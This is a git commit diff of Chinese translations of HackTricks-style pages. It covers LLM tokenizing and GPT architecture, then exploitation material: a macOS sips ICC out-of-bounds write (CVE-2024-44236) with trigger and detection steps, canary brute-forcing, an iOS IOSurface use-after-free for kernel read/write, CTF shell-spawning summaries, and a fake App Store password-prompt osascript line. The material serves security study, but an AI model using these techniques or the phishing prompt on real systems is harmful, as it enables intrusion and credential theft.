Translated ['src/AI/AI-llm-architecture/1.-tokenizing.md', 'src/AI/AI-ll

This commit is contained in:
Translator 2025-07-08 16:47:34 +00:00
parent c8963ecff9
commit 21a2736230
19 changed files with 331 additions and 124 deletions

View File

@ -4,7 +4,7 @@
## Tokenizing
**Tokenizing** 是将数据(如文本)分解为称为 _tokens_更小、更易管理的部分的过程。每个 token 然后被分配一个唯一的数字标识符 (ID)。这是为机器学习模型处理文本做准备的基本步骤,特别是在自然语言处理 (NLP) 中。
**Tokenizing** 是将数据(如文本)分解为称为 _tokens_较小、可管理的部分的过程。每个 token 然后被分配一个唯一的数字标识符 (ID)。这是为机器学习模型处理文本做准备的基本步骤,特别是在自然语言处理 (NLP) 中。
> [!TIP]
> 这个初始阶段的目标非常简单:**以某种有意义的方式将输入划分为 tokens (ids)**。
@ -12,12 +12,12 @@
### **How Tokenizing Works**
1. **Splitting the Text:**
- **Basic Tokenizer:** 一个简单的 tokenizer 可能将文本分为单个单词和标点符号,去除空格。
- **Basic Tokenizer:** 一个简单的 tokenizer 可能将文本分为单个单词和标点符号,去除空格。
- _Example:_\
文本: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- 为了将 tokens 转换为数字 ID创建一个 **vocabulary**。这个 vocabulary 列出了所有唯一的 tokens单词和符号并为每个 token 分配一个特定的 ID。
- 为了将 tokens 转换为数字 ID创建一个 **vocabulary**。这个 vocabulary 列出了所有唯一的 tokens单词和符号并为每个分配一个特定的 ID。
- **Special Tokens:** 这些是添加到 vocabulary 中以处理各种场景的特殊符号:
- `[BOS]` (Beginning of Sequence): 表示文本的开始。
- `[EOS]` (End of Sequence): 表示文本的结束。
@ -33,7 +33,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_
### **Advanced Tokenizing Methods**
虽然基本的 tokenizer 对于简单文本效果很好,但在处理大型 vocabulary 和新词或稀有词时存在局限性。高级 tokenizing 方法通过将文本分解为更小的子单元或优化 tokenization 过程来解决这些问题。
虽然基本的 tokenizer 对于简单文本效果很好,但在处理大型 vocabulary 和新词或稀有词时存在局限性。高级 tokenizing 方法通过将文本分解为更小的子单元或优化 tokenization 过程来解决这些问题。
1. **Byte Pair Encoding (BPE):**
- **Purpose:** 通过将稀有或未知单词分解为频繁出现的字节对,减少 vocabulary 的大小并处理稀有或未知单词。
@ -45,7 +45,7 @@ _(假设 `[UNK]` 的 ID 是 `987`)_
- 消除了对 `[UNK]` token 的需求,因为所有单词都可以通过组合现有的子词 tokens 来表示。
- 更高效和灵活的 vocabulary。
- _Example:_\
`"playing"` 可能被 tokenized 为 `["play", "ing"]`如果 `"play"``"ing"` 是频繁的子词。
`"playing"` 可能被 tokenized 为 `["play", "ing"]` 如果 `"play"``"ing"` 是频繁的子词。
2. **WordPiece:**
- **Used By:** 像 BERT 这样的模型。
- **Purpose:** 类似于 BPE它将单词分解为子词单元以处理未知单词并减少 vocabulary 大小。

View File

@ -8,7 +8,7 @@
> [!TIP]
> 这个第三阶段的目标非常简单:**为词汇表中的每个先前标记分配一个所需维度的向量以训练模型。** 词汇表中的每个单词将在 X 维空间中有一个点。\
> 请注意,最初每个单词在空间中的位置是“随机”初始化的,这些位置是可训练的参数(将在训练过程中得到改善)。
> 请注意,最初每个单词在空间中的位置是“随机”初始化的,这些位置是可训练的参数(将在训练过程中得到改善)。
>
> 此外,在 token embedding 过程中 **创建了另一层嵌入**,它表示(在这种情况下)**单词在训练句子中的绝对位置**。这样,句子中不同位置的单词将具有不同的表示(含义)。
@ -130,7 +130,7 @@ cssCopy codeBatch
### **为什么需要位置嵌入:**
- **令牌顺序很重要:** 在句子中,意义往往依赖于单词的顺序。例如,“猫坐在垫子上”与“垫子坐在猫上”。
- **嵌入限制:** 如果没有位置信息,模型将令牌视为“词袋”,忽略它们的顺序。
- **嵌入限制:** 没有位置信息,模型将令牌视为“词袋”,忽略它们的顺序。
### **位置嵌入的类型:**

View File

@ -260,20 +260,20 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
#### **目的和功能**
- **多头自注意力:** 允许模型在编码一个标记时关注输入序列中的不同位置。
- **多头自注意力:** 允许模型在编码一个令牌时关注输入序列中的不同位置。
- **关键组件:**
- **查询、键、值:** 输入的线性投影,用于计算注意力分数。
- **头:** 多个并行运行的注意力机制(`num_heads`),每个具有减少的维度(`head_dim`)。
- **注意力分数:** 作为查询和键的点积计算,经过缩放和掩蔽。
- **掩蔽:** 应用因果掩蔽,以防止模型关注未来的标记(对于像 GPT 这样的自回归模型很重要)。
- **掩蔽:** 应用因果掩蔽,以防止模型关注未来的令牌(对于像 GPT 这样的自回归模型很重要)。
- **注意力权重:** 掩蔽和缩放后的注意力分数的 Softmax。
- **上下文向量:** 根据注意力权重的值的加权和。
- **输出投影:** 线性层以组合所有头的输出。
> [!TIP]
> 该网络的目标是找到同一上下文中标记之间的关系。此外,标记被分配到不同的头中,以防止过拟合,尽管每个头找到的最终关系在该网络的末尾被组合在一起。
> 该网络的目标是找到同一上下文中令牌之间的关系。此外,令牌被分配到不同的头中,以防止过拟合,尽管每个头找到的最终关系在该网络的末尾被组合在一起。
>
> 此外,在训练期间应用 **因果掩蔽**,以便在查看特定标记的关系时不考虑后续标记,并且还应用了一些 **dropout****防止过拟合**
> 此外,在训练期间应用 **因果掩蔽**,以便在查看特定令牌的关系时不考虑后来的令牌,并且还应用了一些 **dropout****防止过拟合**
### **层** 归一化
```python
@ -293,10 +293,10 @@ return self.scale * norm_x + self.shift
```
#### **目的和功能**
- **层归一化:** 一种用于对每个批次中单个示例的特征(嵌入维度)进行归一化的技术。
- **层归一化:** 一种用于规范化批次中每个单独示例的特征(嵌入维度)输入的技术。
- **组件:**
- **`eps`** 一个小常数(`1e-5`),添加到方差中以防止在归一化过程中出现除以零的情况
- **`scale``shift`** 可学习参数(`nn.Parameter`允许模型对归一化输出进行缩放和偏移。它们分别初始化为1和0。
- **`eps`** 一个小常数(`1e-5`在归一化过程中添加到方差中以防止除以零。
- **`scale``shift`** 可学习参数(`nn.Parameter`允许模型对归一化输出进行缩放和偏移。它们分别初始化为1和0。
- **归一化过程:**
- **计算均值(`mean`** 计算输入 `x` 在嵌入维度(`dim=-1`)上的均值,同时保持维度以便广播(`keepdim=True`)。
- **计算方差(`var`** 计算 `x` 在嵌入维度上的方差,同样保持维度。`unbiased=False` 参数确保方差使用有偏估计量计算(除以 `N` 而不是 `N-1`),这在对特征而非样本进行归一化时是合适的。
@ -306,7 +306,7 @@ return self.scale * norm_x + self.shift
> [!TIP]
> 目标是确保同一标记的所有维度的均值为0方差为1。这样做的目的是**通过减少内部协变量偏移来稳定深度神经网络的训练**,内部协变量偏移是指由于训练过程中参数更新而导致的网络激活分布的变化。
### **Transformer 块**
### **变换器块**
_已添加形状作为注释以更好地理解矩阵的形状_
```python
@ -351,8 +351,8 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
#### **目的和功能**
- **层的组成:** 结合多头注意力、前馈网络、层归一化和残差连接。
- **层归一化:** 在注意力和前馈层之前应用,以实现稳定的训练。
- **残差连接(快捷方式):** 将层的输入添加到其输出,以改善梯度流并使深层网络的训练成为可能。
- **层归一化:** 在注意力和前馈层之前应用,以确保稳定的训练。
- **残差连接(快捷方式):** 将层的输入添加到其输出,以改善梯度流并使深层网络的训练成为可能。
- **丢弃法:** 在注意力和前馈层之后应用,以进行正则化。
#### **逐步功能**
@ -374,11 +374,11 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
> transformer块将所有网络组合在一起并应用一些**归一化**和**丢弃法**以改善训练的稳定性和结果。\
> 注意丢弃法是在每个网络使用后进行的,而归一化是在之前应用的。
>
> 此外,它还使用快捷方式,即**将网络的输出与其输入相加**。这有助于防止梯度消失问题,确保初始层的贡献与最后一层“相当”。
> 此外,它还使用快捷方式,即**将网络的输出与其输入相加**。这有助于防止消失梯度问题,确保初始层的贡献与最后一层“相当”。
### **GPTModel**
_已添加形状作为注释以更好地理解矩阵的形状_
_形状作为注释添加以更好地理解矩阵的形状_
```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
class GPTModel(nn.Module):
@ -436,17 +436,17 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
#### **目的和功能**
- **嵌入层:**
- **令牌嵌入 (`tok_emb`):** 将令牌索引转换为嵌入。作为提醒,这些是赋予词汇中每个令牌每个维度的权重。
- **位置嵌入 (`pos_emb`):** 向嵌入添加位置信息,以捕捉令牌的顺序。作为提醒,这些是根据令牌在文本中的位置赋予的权重。
- **令牌嵌入 (`tok_emb`):** 将令牌索引转换为嵌入。提醒一下,这些是赋予词汇中每个令牌每个维度的权重。
- **位置嵌入 (`pos_emb`):** 向嵌入添加位置信息,以捕捉令牌的顺序。提醒一下,这些是根据令牌在文本中的位置赋予的权重。
- **丢弃 (`drop_emb`):** 应用于嵌入以进行正则化。
- **变换器块 (`trf_blocks`):** 一组 `n_layers` 变换器块,用于处理嵌入。
- **变换器块 (`trf_blocks`):** 堆叠 `n_layers` 个变换器块以处理嵌入。
- **最终归一化 (`final_norm`):** 输出层之前的层归一化。
- **输出层 (`out_head`):** 将最终隐藏状态投影到词汇大小,以生成预测的 logits。
> [!TIP]
> 该类的目标是使用所有其他提到的网络来**预测序列中的下一个令牌**,这对于文本生成等任务至关重要。
>
> 注意它将**使用尽可能多的变换器块**,并且每个变换器块使用一个多头注意力网络一个前馈网络和几个归一化。因此如果使用12个变换器块则将其乘以12。
> 注意它将**使用尽可能多的变换器块**,并且每个变换器块使用一个多头注意力网络一个前馈网络和几个归一化。因此如果使用12个变换器块则将其乘以12。
>
> 此外,在**输出**之前添加了一个**归一化**层,并在最后应用一个最终线性层以获得具有适当维度的结果。注意每个最终向量的大小与使用的词汇相同。这是因为它试图为词汇中的每个可能令牌获取一个概率。
@ -612,7 +612,7 @@ total_params = 163,009,536
拥有一个像之前那样预测下一个标记的模型,只需从输出中获取最后一个标记的值(因为它们将是预测标记的值),这将是**词汇表中每个条目的值**,然后使用`softmax`函数将维度归一化为总和为1的概率然后获取最大条目的索引这将是词汇表中单词的索引。
代码来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
来自 [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context

View File

@ -795,6 +795,7 @@
- [BF Forked & Threaded Stack Canaries](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md)
- [Print Stack Canary](binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md)
- [Write What Where 2 Exec](binary-exploitation/arbitrary-write-2-exec/README.md)
- [Aw2exec Sips Icc Profile](binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md)
- [WWW2Exec - atexit()](binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md)
- [WWW2Exec - .dtors & .fini_array](binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)

View File

@ -0,0 +1,53 @@
# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
{{#include ../../banners/hacktricks-training.md}}
## 概述
Apple macOS Scriptable Image Processing System (`sips`) ICC 配置文件解析器中的越界写入漏洞macOS 15.0.1, sips-307由于对 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签中的 `offsetToCLUT` 字段的验证不当。一个精心制作的 ICC 文件可以触发零写,最多达到堆缓冲区之后的 16 字节破坏堆元数据或函数指针并启用任意代码执行CVE-2024-44236
## 易受攻击的代码
易受攻击的函数从攻击者控制的偏移量开始读取并将 16 字节置为零,而不确保其位于分配的缓冲区内:
```c
// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
if (i > numberOfInputChannels && buffer[i] != 0)
buffer[i] = 0;
}
```
仅执行检查 `offsetToCLUT <= totalDataLength`。通过设置 `offsetToCLUT == tagDataSize`,循环索引到 `buffer` 末尾之后的 16 字节,破坏相邻的堆元数据。
## 利用步骤
1. **构造恶意 `.icc` 配置文件:**
- 构建 ICC 头128 字节),签名为 `acsp`,并包含一个 `lutAToBType``lutBToAType` 标签条目。
- 在标签表中,将 `offsetToCLUT` 设置为标签的 `size``tagDataSize`)。
- 在标签数据块后面放置攻击者控制的数据,以覆盖堆元数据。
2. **触发解析:**
```bash
sips --verifyColor malicious.icc
```
3. **堆元数据损坏:** OOB 零写覆盖分配器元数据或相邻指针,使攻击者能够劫持控制流并在 `sips` 进程的上下文中实现任意代码执行。
## 影响
成功利用会导致在运行易受攻击的 `sips` 实用程序的 macOS 系统上以用户权限进行远程任意代码执行。
## 检测
- 监控常见协议FTP、HTTP/S、IMAP、SMB、NFS、SMTP上的文件传输。
- 检查传输的文件是否具有签名 `acsp`
- 对于每个 `mAB ``mBA ` 标签,验证 `Offset to CLUT` 字段是否等于 `Tag data size`
- 如果满足此条件,则标记为可疑。
## 参考
- ZDI 博客CVE-2024-44236Apple macOS sips 实用程序中的远程代码执行漏洞
https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
- Apple 2024 年 10 月安全更新(修补 CVE-2024-44236
https://support.apple.com/en-us/121564
{{#include /banners/hacktricks-training.md}}

View File

@ -9,10 +9,12 @@
然而,您可以找到一些不错的 **示例**
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- 有 **2 个冲突的数组**,一个用于 **地址**,存储数据,另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组,从而写入一个任意地址,将其视为大小。这允许在 GOT 表中写入 `free` 函数的地址,然后用 `system` 的地址覆盖它,并从内存中调用 `/bin/sh` 的 free
- 有 **2 个冲突的数组**,一个用于存储数据的 **地址**,另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组,从而写入一个任意地址并将其标记为大小。这允许在 GOT 表中写入 `free` 函数的地址,然后用 `system` 的地址覆盖它,并从内存中调用 free使用 `/bin/sh`
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 位,无 nx。覆盖一个大小以获得一种缓冲区溢出其中每个东西都将被用作双倍数字并按从小到大的顺序排序,因此需要创建一个满足该要求的 shellcode考虑到 canary 不应从其位置移动,最后用一个返回地址覆盖 RIP该地址满足先前的要求并将最大的地址放置为指向栈开始的新地址(由程序泄漏),以便可以使用 ret 跳转到那里。
- 64 位,无 nx。覆盖一个大小以获得一种缓冲区溢出其中每个东西都将被用作双倍数字并按从小到大的顺序排序因此需要创建一个满足该要求的 shellcode考虑到 canary 不应从其位置移动,最后用一个返回地址覆盖 RIP该地址满足先前的要求并将最大的地址设置为指向栈开始的新地址(由程序泄露),以便可以使用 ret 跳转到那里。
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64 位,无 relrocanarynx无 pie。栈中的数组存在一个 off-by-one 漏洞,允许控制一个指针,从而授予 WWW它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址)。栈被控制,因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`,并在栈中添加 `main` 的地址(循环回到 `main`)。使用 ROP 链泄 GOT 中 put 的地址,使用 puts`exit` 将被调用,因此将调用 `pop rdi; ret`,因此在栈中执行此链)。最后,使用新的 ROP 链执行 ret2lib。
- 64 位,无 relrocanarynx无 pie。栈中的数组存在一个 off-by-one 漏洞,允许控制一个指针,从而授予 WWW它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址)。栈被控制,因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`,并在栈中添加 `main` 的地址(循环回到 `main`)。使用 ROP 链泄 GOT 中 put 的地址,使用 puts`exit` 将被调用,因此将调用 `pop rdi; ret`,因此在栈中执行此链)。最后,使用执行 ret2lib 的新 ROP 链
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 位,无 relro无 canarynxpie。利用错误的索引泄漏 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。
- 32 位,无 relro无 canarynxpie。利用错误的索引泄露 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。
{{#include /banners/hacktricks-training.md}}

View File

@ -2,19 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
**如果你面临一个受 canary 和 PIE位置无关可执行文件保护的二进制文件你可能需要找到一种方法来绕过它们。**
**如果你面临一个受 canary 和 PIE位置无关可执行文件保护的二进制文件你可能需要找到一种方法来绕过它们。**
![](<../../../images/image (865).png>)
> [!NOTE]
> [!TIP]
> 请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\
> 然而,如果你发现一个值在函数调用开始时被保存到栈中,并且在退出之前检查这个值,你可以手动注意到这一点。
## Brute force Canary
绕过简单 canary 的最佳方法是,如果二进制文件是一个**每次你与建立新连接时都会分叉子进程的程序**(网络服务),因为每次你连接到它时**将使用相同的 canary**。
绕过简单 canary 的最佳方法是,如果二进制文件是一个**每次你与建立新连接时都会分叉子进程的程序**(网络服务),因为每次你连接到它时**将使用相同的 canary**。
因此,绕过 canary 的最佳方法就是**逐字符暴力破解**,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的 canaryx64**,并通过**检查**服务器是否发送了**响应**来区分正确猜测的字节和错误字节(在**其他情况下**,另一种方法可以使用**try/except**
因此,绕过 canary 的最佳方法就是**逐字符暴力破解**,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的 canaryx64**,并通过**检查**服务器是否发送了**响应**来区分正确猜测的字节和错误字节(在**其他情况下**,另一种方法可以使用**try/except**
### Example 1
@ -103,15 +103,17 @@ log.info(f"The canary is: {canary}")
```
## 线程
同一进程的线程将**共享相同的 canary token**,因此如果二进制文件在每次发生攻击时都会生成一个新线程,就有可能**暴力破解**一个 canary。
同一进程的线程将**共享相同的 canary token**,因此如果二进制文件在每次攻击发生时生成一个新线程,将有可能**暴力破解**一个 canary。
此外,在受 canary 保护的**线程函数**中发生的缓冲区**溢出**可能被用来**修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的**栈中的 bof**到达存储 TLS因此也包括 canary的内存位置。\
因此,缓解措施是无效的,因为检查使用的是两个相同的 canary尽管被修改)。\
此外,在受 canary 保护的**线程函数**中发生的缓冲区**溢出**可能被用来**修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的**栈**中的**bof**到达存储 TLS因此也包括 canary的内存位置。\
因此,缓解措施是无效的,因为检查使用的是两个相同的 canary尽管被修改)。\
此攻击在以下写作中进行了描述:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常**TLS**是通过**`mmap`**存储的,当创建**线程**的**栈**时,它也是通过 `mmap` 生成的,这可能允许如前述的溢出。
还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常**TLS**是通过**`mmap`**存储的,当创建**线程**的**栈**时,它也是通过 `mmap` 生成的,这可能允许如前述写作中所示的溢出。
## 其他示例参考
## 其他示例参考
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 位,无 PIEnxBF canary在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
{{#include /banners/hacktricks-training.md}}

View File

@ -12,7 +12,7 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**
#### iOS中的页表级别
页表以三层的层次结构组织
页表分为三个层次的层次结构
1. **L1页表第1级**
* 这里的每个条目表示一个大范围的虚拟内存。
@ -57,30 +57,30 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**
**物理使用后释放**UAF发生在
1. 一个进程**分配**一些内存为**可读和可写**。
1. 进程**分配**一些内存为**可读和可写**。
2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。
3. 进程**释放**(释放)内存。
4. 然而,由于一个**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为已释放
5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,例如**内核数据**。
3. 进程**释放**(释放)内存。
4. 然而,由于一个**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用
5. 内核可以**重新分配这块“释放”的物理内存**用于其他目的,例如**内核数据**。
6. 由于映射未被删除,进程仍然可以**读写**这块物理内存。
这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。
### 利用策略:堆喷射
由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术:
由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术:
1. 攻击者在内核内存中**创建大量IOSurface对象**。
2. 每个IOSurface对象在其字段中包含一个**魔法值**,使其易于识别。
3. 他们**扫描释放的页面**查看这些IOSurface对象是否落在释放的页面上。
4. 当他们在释放的页面上找到一个IOSurface对象时他们可以用它来**读写内核内存**。
3. 他们**扫描释放的页面**查看这些IOSurface对象是否落在释放的页面上。
4. 当他们在释放的页面上找到一个IOSurface对象时他们可以使用它来**读写内核内存**。
关于此的更多信息请参见[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。
### 步骤堆喷射过程
1. **喷射IOSurface对象**攻击者创建许多带有特殊标识符“魔法值”的IOSurface对象。
2. **扫描释放的页面**:他们检查是否有任何对象已在释放的页面上分配
2. **扫描释放的页面**:他们检查是否有任何对象已分配在释放的页面上。
3. **读/写内核内存**通过操纵IOSurface对象中的字段他们获得在内核内存中执行**任意读写**的能力。这使他们能够:
* 使用一个字段**读取内核内存中的任何32位值**。
* 使用另一个字段**写入64位值**,实现稳定的**内核读/写原语**。
@ -142,16 +142,16 @@ return 0;
```
### Achieving Kernel Read/Write with IOSurface
在内核内存中控制一个 IOSurface 对象(映射到一个可以从用户空间访问的已释放物理页面)后,我们可以将其用于 **任意内核读写操作**
在内核内存中控制一个 IOSurface 对象(映射到一个可以从用户空间访问的已释放物理页面)后,我们可以利用它进行 **任意内核读写操作**
**IOSurface 中的关键字段**
IOSurface 对象有两个关键字段:
1. **使用计数指针**:允许 **32 位读取**
2. **索引时间戳指针**:允许 **64 位写入**
1. **使用计数指针**:允许进行 **32 位读取**
2. **索引时间戳指针**:允许进行 **64 位写入**
通过覆盖这些指针,我们将重定向到内核内存中的任意地址,从而启用读/写功能。
通过覆盖这些指针,我们将它们重定向到内核内存中的任意地址,从而启用读/写功能。
#### 32 位内核读取
@ -195,13 +195,13 @@ set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
#### 漏洞利用流程回顾
1. **触发物理使用后释放**: 可重用的空闲页面。
2. **喷射IOSurface对象**: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。
3. **识别可访问的IOSurface**: 找到一个在你控制的空闲页面上的IOSurface。
3. **识别可访问的IOSurface**: 找到一个在你控制的已释放页面上的IOSurface。
4. **滥用使用后释放**: 修改IOSurface对象中的指针以通过IOSurface方法启用任意**内核读/写**。
通过这些原语,漏洞提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语这可能需要绕过额外的保护例如在较新的arm64e设备上的PPL
通过这些原语,漏洞利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语这可能需要绕过额外的保护例如在较新的arm64e设备上的PPL
{{#include /banners/hacktricks-training.md}}

View File

@ -8,13 +8,13 @@
### Unsorted Bins
当你释放一个不是快速块的内存块时,它会进入未排序桶。这个桶就像一个列表,新释放的块添加到前面(“头”)。当你请求一个新的内存块时,分配器从后面(“尾”)查看未排序桶,以找到一个足够大的块。如果未排序桶中的块大于你所需的大小,它会被拆分,前面的部分被返回,剩余的部分留在桶中。
当你释放一个不是快速块的内存块时,它会进入未排序桶。这个桶就像一个列表,新释放的块添加到前面(“头”)。当你请求一个新的内存块时,分配器未排序桶的后面(“尾”)查看,以找到一个足够大的块。如果未排序桶中的块大于你所需的大小,它会被拆分,前面的部分被返回,剩余的部分留在桶中。
示例:
- 你分配 300 字节(`a`),然后 250 字节(`b`),释放 `a` 并再次请求 250 字节(`c`)。
- 当你释放 `a` 时,它进入未排序桶。
- 如果你再次请求 250 字节,分配器在尾部找到 `a` 并将其拆分,返回适合你请求的部分,并将其余部分保留在桶中。
- 当你释放 `a` 时,它进入未排序桶。
- 如果你再次请求 250 字节,分配器在尾部找到 `a` 并将其拆分,返回适合你请求的部分,并将其余部分保留在桶中。
- `c` 将指向之前的 `a` 并填充 `a` 的内容。
```c
char *a = malloc(300);
@ -24,12 +24,12 @@ char *c = malloc(250);
```
### Fastbins
Fastbins用于小内存块。与未排序的bins不同fastbins将新块添加到头部创建后进先出LIFO行为。如果您请求一个小内存块分配器将从fastbin的头部提取。
Fastbins用于小内存块。与未排序的bins不同fastbins将新块添加到头部形成后进先出LIFO行为。如果您请求一个小内存块分配器将从fastbin的头部提取。
示例:
- 您分配四个20字节的块`a``b``c``d`)。
- 当您以任何顺序释放它们时,释放的块会被添加到fastbin的头部。
- 您分配四个每个20字节的块`a``b``c``d`)。
- 当您以任何顺序释放它们时,释放的块添加到fastbin的头部。
- 如果您随后请求一个20字节的块分配器将从fastbin的头部返回最近释放的块。
```c
char *a = malloc(20);
@ -45,7 +45,7 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## 其他参考资料与示例
## 其他参考与示例
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
@ -58,3 +58,5 @@ d = malloc(20); // a
- 可以分配一些内存,写入所需值,释放它,重新分配它,由于之前的数据仍然存在,它将根据块中的新预期结构进行处理,从而可以设置值以获取标志。
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- 在这种情况下,需要在特定块中写入 4该块是第一个被分配的块即使在强制释放所有块后。在每个新分配的块中其在数组索引中的编号被存储。然后分配 4 个块(+ 最初分配的),最后一个块将包含 4释放它们并强制重新分配第一个块这将使用最后释放的块即包含 4 的块。
{{#include /banners/hacktricks-training.md}}

View File

@ -29,7 +29,7 @@
### `com.apple.security.cs.disable-library-validation`
此权限允许 **加载框架、插件或库,而不需要由 Apple 签名或与主可执行文件具有相同的团队 ID 签名**,因此攻击者可以利用某些任意库加载来注入代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
此权限允许 **加载框架、插件或库,而无需由 Apple 签名或与主可执行文件具有相同的团队 ID**,因此攻击者可以利用某些任意库加载来注入代码。查看 [**此处获取更多信息**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
### `com.apple.private.security.clear-library-validation`
@ -58,7 +58,7 @@
**iMovie** 和 **Garageband** 拥有此权限。
有关利用此权限 **获取 iCloud 令牌** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
有关 **从该权限获取 iCloud 令牌的漏洞** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -87,7 +87,7 @@ TODO: 在 [**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA
```
### **`kTCCServiceSystemPolicyAllFiles`**
授予**完全磁盘访问**权限,这是您可以拥有的TCC最高权限之一。
授予**完全磁盘访问**权限,这是TCC可以拥有的最高权限之一。
### **`kTCCServiceAppleEvents`**
@ -97,19 +97,19 @@ TODO: 在 [**这份报告**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
